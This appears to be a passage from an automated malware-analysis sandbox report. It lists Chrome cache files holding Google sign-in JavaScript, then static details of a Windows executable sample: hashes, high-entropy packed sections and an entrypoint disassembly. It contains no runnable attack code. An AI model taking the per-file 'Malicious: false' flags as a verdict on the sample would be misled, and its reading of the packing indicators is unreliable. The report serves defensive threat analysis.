iAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=sOXFj,q0xTif,ZZ4WUe"
Preview:	"use strict";_F_installCss(".N7rBcd{overflow-x:auto}sentinel{}");.this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.vg(_.bqa);._.k("sOXFj");.var wu=function(a){_.W.call(this,a.Fa)};_.J(wu,_.W);wu.Ba=_.W.Ba;wu.prototype.aa=function(a){return a()};_.qu(_.aqa,wu);._.l();._.k("oGtAuc");._.Bya=new _.pf(_.bqa);._.l();._.k("q0xTif");.var vza=function(a){var b=function(d){_.Zn(d)&&(_.Zn(d).Lc=null,_.Gu(d,null));d.XyHi9&&(d.XyHi9=null)};b(a);a=a.querySelectorAll("[c-wiz]");for(var c=0;c<a.length;c++)b(a[c])},Su=function(a){_.nt.call(this,a.Fa);this.Qa=this.dom=null;if(this.rl()){var b=_.Cm(this.Wg(),[_.Hm,_.Gm]);b=_.pi([b[_.Hm],b[_.Gm]]).then(function(c){this.Qa=c[0];this.dom=c[1]},null,this);_.ku(this,b)}this.Ra=a.lm.Dea};_.J(Su,_.nt);Su.Ba=function(){return{lm:{Dea:function(a){return _.Ue(a)}}}};Su.prototype.Bp=function(a){return this.Ra.Bp(a)};.Su.prototype.getData=function(a){return this.Ra.getData(a)};Su.prototype.uo=function(){_.Nt(this.d

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (533)
Category:	downloaded
Size (bytes):	9210
Entropy (8bit):	5.393248075042016
Encrypted:	false
SSDEEP:	192:t7mFYxV97I4Ia0U44rS3mt8IV7ydti6M5/1JlNg:t7vB7Il2t+dEF1JlNg
MD5:	2ED5BC88509286438B682EFF23518005
SHA1:	D5C8FD77BA3ED7F977A4AD0C85CF026D0F74F3E2
SHA-256:	F878D44B5CAC6BC95D638C13D0814C10E7D6CC145351ABA7945F53D8CB167979
SHA-512:	12F5415A482286C53631D09B5F50BA4AAA0957DB61904430E5B728777A15DC62428ED560847AB1DFEC459E302FB4D009D32CC1770EAD5425023CA48DF4640AA4
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.PqO-Y4U4tl0.es5.O/ck=boq-identity.AccountsSignInUi.nq70RHujW6U.L.B1.O/am=5MFgKBimEQjEE54DekBRIOQAAAAAAAAAAKANAAB0DA/d=1/exm=AvtSve,CMcBD,EFQ78c,EIOG1e,EN3i8d,Fndnac,GwYlN,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MY7mZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,PrPYRd,Rkm0ef,SCuOPb,STuCOe,SpsfSb,UUJqVe,Uas9Hd,WpP9Yc,XVq9Qb,YHI3We,YTxL4,ZakeSe,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,byfTOb,cYShmd,eVCnO,gJzDyc,hc6Ubd,inNHtf,iyZMqd,lsjVmc,lwddkf,m9oV,mvkUhe,mzzZzc,n73qwf,njlZCf,oLggrd,qPfo0c,qmdT9,rCcCxc,siKnQd,t2srLd,tUnxGc,vHEMJe,vfuNJf,vjKJJ,vvMGie,ws9Tlc,xBaz7b,xQtZb,xiZRqc,y5vRwf,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlFUNoJA9_Qld_Efe4B4naRfqJdPqA/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=ltDFwf,SD8Jgb,rmumx,E87wgc,qPYxq,Tbb4sb,pxq3x,f8Gu1e,soHxf,YgOFye,yRXbo,bTi8wc,ywOR5c,PHUIyb"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.vNa=_.z("SD8Jgb",[]);._.GX=function(a,b){if(typeof b==="string")a.Nc(b);else if(b instanceof _.Ip&&b.ia&&b.ia===_.A)b=_.Za(b.Ku()),a.empty().append(b);else if(b instanceof _.Ua)b=_.Za(b),a.empty().append(b);else if(b instanceof Node)a.empty().append(b);else throw Error("Wf");};_.HX=function(a){var b=_.Lo(a,"[jsslot]");if(b.size()>0)return b;b=new _.Jo([_.Qk("span")]);_.Mo(b,"jsslot","");a.empty().append(b);return b};_.bMb=function(a){return a===null\|\|typeof a==="string"&&_.Ji(a)};._.k("SD8Jgb");._.MX=function(a){_.X.call(this,a.Fa);this.Va=a.controller.Va;this.od=a.controllers.od[0]\|\|null;this.header=a.controller.header;this.nav=a.controller.nav;var b;(b=this.oa().find("button:not([type])").el())==null\|\|b.setAttribute("type","button")};_.J(_.MX,_.X);_.MX.Ba=function(){return{controller:{Va:{jsname:"n7vHCb",ctor:_.pv},header:{jsname:"tJHJj",ctor:_.pv},nav:{jsname:"DH6Rkf",ct

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	84
Entropy (8bit):	4.875266466142591
Encrypted:	false
SSDEEP:	3:DZFJu0+WVTBCq2Bjdw2KsJJuYHSKnZ:lFJuuVTBudw29nu4SKZ
MD5:	87B6333E98B7620EA1FF98D1A837A39E
SHA1:	105DE6815B0885357DE1414BFC0D77FCC9E924EF
SHA-256:	DCD3C133C5C40BECD4100BBE6EDAE84C9735E778E4234A5E8395C56FF8A733BA
SHA-512:	867D7943D813685FAA76394E53199750C55817E836FD19C933F74D11E9657CE66719A6D6B2E39EE1DE62358BCE364E38A55F4E138DF92337DE6985DDCD5D0994
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgmA6QC9dWevzxIFDRkBE_oSBQ3oIX6GEgUN05ioBw==?alt=proto
Preview:	Cj0KBw0ZARP6GgAKKQ3oIX6GGgQISxgCKhwIClIYCg5AIS4jJF8qLSY/Ky8lLBABGP////8PCgcN05ioBxoA

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (570)
Category:	downloaded
Size (bytes):	3467
Entropy (8bit):	5.508385764606741
Encrypted:	false
SSDEEP:	96:ogbsxK3SrI2Jrutmxy9FALtcP+EGYkxhclzV9xCw:Psc3OIpDj2ZYkxhATxX
MD5:	231ABD6E6C360E709640B399EDF85476
SHA1:	6CB98F38D9B6FDCF2E7D7C7682A219082F2E1E75
SHA-256:	44B5D535663C65CD2E6228EF1F0C3DBA9C89EAE5C1BF079A6C4C64972DEE989D
SHA-512:	D45455810B34493A05BA2DD7ADF24C0C009F4CF0898AE9C57978D38C8F2654CEEFC11D1C151BA72B902E0FA87537D43C37957DCAEC1792B5277B54C8E7BCCA3C
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.PqO-Y4U4tl0.es5.O/ck=boq-identity.AccountsSignInUi.nq70RHujW6U.L.B1.O/am=5MFgKBimEQjEE54DekBRIOQAAAAAAAAAAKANAAB0DA/d=1/exm=A7fCU,AvtSve,CMcBD,E87wgc,EFQ78c,EIOG1e,EN3i8d,Fndnac,GwYlN,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MY7mZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,P6sQOc,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,WpP9Yc,XVq9Qb,YHI3We,YTxL4,YgOFye,ZDZcre,ZZ4WUe,ZakeSe,ZwDk9d,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,bTi8wc,byfTOb,cYShmd,eVCnO,f8Gu1e,gJzDyc,hc6Ubd,iAskyc,inNHtf,iyZMqd,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,mzzZzc,n73qwf,njlZCf,oLggrd,pxq3x,q0xTif,qPYxq,qPfo0c,qmdT9,rCcCxc,rmumx,sOXFj,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,vjKJJ,vvMGie,w9hDv,wg1P6b,ws9Tlc,xBaz7b,xQtZb,xiZRqc,y5vRwf,yRXbo,ywOR5c,z0u0L,zbML3c,ziXSP,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlFUNoJA9_Qld_Efe4B4naRfqJdPqA/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=Wt6vjf,hhhU8,FCpbqb,WhJNk"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("Wt6vjf");.var fya=function(){var a=_.He();return _.Nj(a,1)},au=function(a){this.Da=_.t(a,0,au.messageId)};_.J(au,_.v);au.prototype.Ha=function(){return _.Fj(this,1)};au.prototype.Ua=function(a){return _.Xj(this,1,a)};au.messageId="f.bo";var bu=function(){_.km.call(this)};_.J(bu,_.km);bu.prototype.xd=function(){this.NT=!1;gya(this);_.km.prototype.xd.call(this)};bu.prototype.aa=function(){hya(this);if(this.JC)return iya(this),!1;if(!this.UV)return cu(this),!0;this.dispatchEvent("p");if(!this.HP)return cu(this),!0;this.NM?(this.dispatchEvent("r"),cu(this)):iya(this);return!1};.var jya=function(a){var b=new _.gp(a.b5);a.vQ!=null&&_.Mn(b,"authuser",a.vQ);return b},iya=function(a){a.JC=!0;var b=jya(a),c="rt=r&f_uid="+_.rk(a.HP);_.fn(b,(0,_.bg)(a.ea,a),"POST",c)};.bu.prototype.ea=function(a){a=a.target;hya(this);if(_.jn(a)){this.iK=0;if(this.NM)this.JC=!1,this.dispatchEvent("r"

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (522)
Category:	downloaded
Size (bytes):	5050
Entropy (8bit):	5.30005628600801
Encrypted:	false
SSDEEP:	96:o75BuBxJfma7bGZABddEgf8nI4zLm4KGo8Vh1EabPVTq8fv/xRw:WHMmaX9r8Igp7nBlHo
MD5:	D9F15F1AEAF15673336FAA3507D1A2A7
SHA1:	FC79D00AF2E2D44FEBA701F12ECD4AFCA327F464
SHA-256:	AA3574ADCF3826390918BC2D5DCD88D7BC63238A6022DEF3487A67A731C30E7A
SHA-512:	D756961B6BFC478274E390B94D613BD837DA011D680FC6D67779A8E12C7F082EF977FC15D02C076F92BC1D2CE7EFDE48F82B4EC1BD12CF38AEDDAB1917E36041
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.PqO-Y4U4tl0.es5.O/ck=boq-identity.AccountsSignInUi.nq70RHujW6U.L.B1.O/am=5MFgKBimEQjEE54DekBRIOQAAAAAAAAAAKANAAB0DA/d=1/exm=A7fCU,AvtSve,CMcBD,E87wgc,EFQ78c,EIOG1e,EN3i8d,Fndnac,GwYlN,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MY7mZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,P6sQOc,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,WpP9Yc,XVq9Qb,YHI3We,YTxL4,YgOFye,ZDZcre,ZZ4WUe,ZakeSe,ZwDk9d,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,bTi8wc,byfTOb,cYShmd,eVCnO,f8Gu1e,gJzDyc,hc6Ubd,iAskyc,inNHtf,iyZMqd,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,mzzZzc,n73qwf,njlZCf,oLggrd,pxq3x,q0xTif,qPYxq,qPfo0c,qmdT9,rCcCxc,rmumx,sOXFj,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,vjKJJ,vvMGie,w9hDv,ws9Tlc,xBaz7b,xQtZb,xiZRqc,y5vRwf,yRXbo,ywOR5c,z0u0L,zbML3c,ziXSP,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlFUNoJA9_Qld_Efe4B4naRfqJdPqA/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=wg1P6b"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.oNa=_.z("wg1P6b",[_.XA,_.Fn,_.Nn]);._.k("wg1P6b");.var f6a;f6a=_.mh(["aria-"]);._.yJ=function(a){_.X.call(this,a.Fa);this.Ka=this.xa=this.aa=this.viewportElement=this.Na=null;this.Jc=a.Ea.ef;this.ab=a.Ea.focus;this.Fc=a.Ea.Fc;this.ea=this.Qi();a=-1*parseInt(_.Fo(this.Qi().el(),"marginTop")\|\|"0",10);var b=parseInt(_.Fo(this.Qi().el(),"marginBottom")\|\|"0",10);this.Ta={top:a,right:0,bottom:b,left:0};a=_.cf(this.getData("isMenuDynamic"),!1);b=_.cf(this.getData("isMenuHoisted"),!1);this.Ga=a?1:b?2:0;this.ka=!1;this.Ca=1;this.Ga!==1&&(this.aa=this.Sa("U0exHf").children().Wc(0),_.ku(this,.g6a(this,this.aa.el())));_.oF(this.oa())&&(a=this.oa().el(),b=this.we.bind(this),a.__soy_skip_handler=b)};_.J(_.yJ,_.X);_.yJ.Ba=function(){return{Ea:{ef:_.cF,focus:_.OE,Fc:_.uu}}};_.yJ.prototype.IF=function(a){var b=a.source;this.Na=b;var c;((c=a.data)==null?0:c.qz)?(a=a.data.qz,this.Ca=a==="MOUS

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (553)
Category:	downloaded
Size (bytes):	744316
Entropy (8bit):	5.792609211069255
Encrypted:	false
SSDEEP:	6144:n5bdWK/20rOQKKQtvqUGSGDdPSxdZqmguaH:nOeKGSpguA
MD5:	25F51A1555D1285FE5A2E5257FC514C8
SHA1:	77CF5942A99A1440D296B668AEBF43BA7B795EB9
SHA-256:	D2516587FD91E772341AE4C4C534EAE55E1C2F692ED2CE60EA36621C01EC666E
SHA-512:	566A84271B8E3672078239A3D8FD34FE7059BCA1959A4FCB5B27FF1DC88206030575FFC67742EC81D78775831DD91C978CFC5C80F80ACE53B7A14A1BD5F5D21A
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.PqO-Y4U4tl0.es5.O/am=5MFgKBimEQjEE54DekBRIOQAAAAAAAAAAKANAAB0DA/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlGRjSKcPrDEBPLLHUwf2sE4iFvUvg/m=_b,_tp"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x2860c1e4, 0x20469860, 0x39e13c40, 0x14501e80, 0xe420, 0x0, 0x1a000000, 0x1d000003, 0xc, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT././. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var baa,daa,Na,Ta,gaa,iaa,jb,qaa,waa,Caa,Haa,Kaa,Jb,Laa,Ob,Qb,Rb,Maa,Naa,Sb,Oaa,Paa,Qaa,Yb,Vaa,Xaa,ec,fc,gc,bba,cba,gba,jba,lba,mba,qba,tba,nba,sba,rba,pba,oba,uba,yba,Cba,Dba,Aba,Hc,Ic,Gba,Iba,Mba,Nba,Oba,Pba,Lba,Qba,Sba,dd,Uba,Vba,Xba,Zba,Yba,aca,bca,cca,dca,fca,eca,hca,ica,jca,kca,nca,

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (468)
Category:	downloaded
Size (bytes):	1858
Entropy (8bit):	5.297658905867848
Encrypted:	false
SSDEEP:	48:o7vjoGL3AeFkphnpiu7cOyBfO/3d/rYrv3Zrw:ofrLxFuLdyp2AVw
MD5:	B42DB3D22B12B8E3BE1B82961FE2870E
SHA1:	D9CFD11C1C2DE17A7E9301F11AD875B610B96576
SHA-256:	75DC40A81CEACB57940F84D2B29E021974C3004B245CC7198362CA944E9C4058
SHA-512:	EC0708797586F8F85EC8A0BBECA707D73778D93C12986B92965D1828B254D39485926354AEC4D73474BC5755E392B813D8045B19369FAE23B30BBD12E17F7053
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.PqO-Y4U4tl0.es5.O/ck=boq-identity.AccountsSignInUi.nq70RHujW6U.L.B1.O/am=5MFgKBimEQjEE54DekBRIOQAAAAAAAAAAKANAAB0DA/d=1/exm=A7fCU,AvtSve,CMcBD,E87wgc,EFQ78c,EIOG1e,EN3i8d,Fndnac,GwYlN,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MY7mZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,P6sQOc,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,WpP9Yc,XVq9Qb,YHI3We,YTxL4,YgOFye,ZDZcre,ZZ4WUe,ZakeSe,ZwDk9d,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,bTi8wc,byfTOb,cYShmd,eVCnO,f8Gu1e,gJzDyc,hc6Ubd,inNHtf,iyZMqd,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,mzzZzc,n73qwf,njlZCf,oLggrd,pxq3x,q0xTif,qPYxq,qPfo0c,qmdT9,rCcCxc,rmumx,sOXFj,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,vjKJJ,vvMGie,w9hDv,ws9Tlc,xBaz7b,xQtZb,xiZRqc,y5vRwf,yRXbo,ywOR5c,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlFUNoJA9_Qld_Efe4B4naRfqJdPqA/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=iAskyc,ziXSP"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("iAskyc");._.QZ=function(a){_.W.call(this,a.Fa);this.window=a.Ea.window.get();this.Mc=a.Ea.Mc};_.J(_.QZ,_.W);_.QZ.Ba=function(){return{Ea:{window:_.tu,Mc:_.HE}}};_.QZ.prototype.Po=function(){};_.QZ.prototype.addEncryptionRecoveryMethod=function(){};_.RZ=function(a){return(a==null?void 0:a.Jo)\|\|function(){}};_.SZ=function(a){return(a==null?void 0:a.r3)\|\|function(){}};_.VPb=function(a){return(a==null?void 0:a.Qp)\|\|function(){}};._.WPb=function(a){return new Map(Array.from(a,function(b){var c=_.n(b);b=c.next().value;c=c.next().value;return[b,c.map(function(d){return{epoch:d.epoch,key:new Uint8Array(d.key)}})]}))};_.XPb=function(a){setTimeout(function(){throw a;},0)};_.QZ.prototype.qO=function(){return!0};_.qu(_.Dn,_.QZ);._.l();._.k("ziXSP");.var j_=function(a){_.QZ.call(this,a.Fa)};_.J(j_,_.QZ);j_.Ba=_.QZ.Ba;j_.prototype.Po=function(a,b,c){var d;if((d=this.window.chrome)==nu

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949840626888764
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8ObkdHP9Hq.exe
File size:	1'889'792 bytes
MD5:	77b69071ccc75e75a48ea59d48a55a30
SHA1:	1462b225e40ce72df31075d9ca920a356818fe3c
SHA256:	e7dd285dc9f2ba81816427bb3a6f90645deb0b8d346d2edb81e9283a1bdbf787
SHA512:	e120055b5c27aa9d6f65ca3ea00c5cdbce421989627c197c53f25410aac35740499c86aa8eeb25eebb387397364363e79825a2cf05c0e333a52e1a2d9f0cde4f
SSDEEP:	49152:dgx2kOoNM8s9iuz17ZfuA37h94+JqDn9KuOVZ+YuF1:dgWoS8GFZp3V94bj9leZ+3
TLSH:	AC9533CC966514D6DD43A438CAACC68897F0D4E837FDBB1614BF1CBE460B83996B6131
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8b0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD0B470AF6Ah
lfs ebx, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FD0B470CF65h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4aeb1c	0x10	hicznzml
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4aeacc	0x18	hicznzml
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	4c44002c229a86d41fe8981d92ad7014	False	0.9982065309945504	data	7.985482798218243	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	b7d16686b376821266a9345c26b7e6d6	False	0.53125	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2a8000	0x200	75615a5c8e4b40d3851bdfb983630cae	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hicznzml	0x313000	0x19c000	0x19bc00	0c7891fea511fcf36066f85f7106550e	False	0.9947466036733454	data	7.954513135451816	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
